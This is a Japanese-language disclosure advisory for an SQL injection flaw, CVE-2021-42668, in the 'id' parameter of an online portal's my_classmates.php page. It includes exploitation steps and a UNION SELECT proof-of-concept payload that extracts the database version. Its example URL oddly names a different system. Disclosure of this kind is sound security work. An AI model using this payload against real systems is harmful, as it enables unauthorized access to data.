cve-2021-42668

CVE-2021-42668 - Engineers Online Portal System における SQLインジェクションの脆弱性。

技術説明:

Engineers Online Portal に SQLインジェクションの脆弱性が存在します。攻撃者は "my_classmates.php" ページの脆弱な "id" パラメータを利用して、実行されるSQLクエリを操作できます。 その結果、攻撃者は Web サーバーから機密データを抽出できます。

影響を受けるコンポーネント -

脆弱なページ - my_classmates.php

脆弱なパラメータ - "id"

悪用手順:

1. http://localhost/nia_munoz_monitoring_system/my_classmates.php にアクセスする
2. id パラメータにペイロードを挿入する

概念実証 (PoC) -

以下のペイロードを使用すると、Webサーバー上で動作しているMySQLサーバーのバージョンを抽出できます。

' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL;-- -

参照 -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42668

https://nvd.nist.gov/vuln/detail/CVE-2021-42668

発見者 -

Alon Leviev (0xDeku), 2021年10月22日。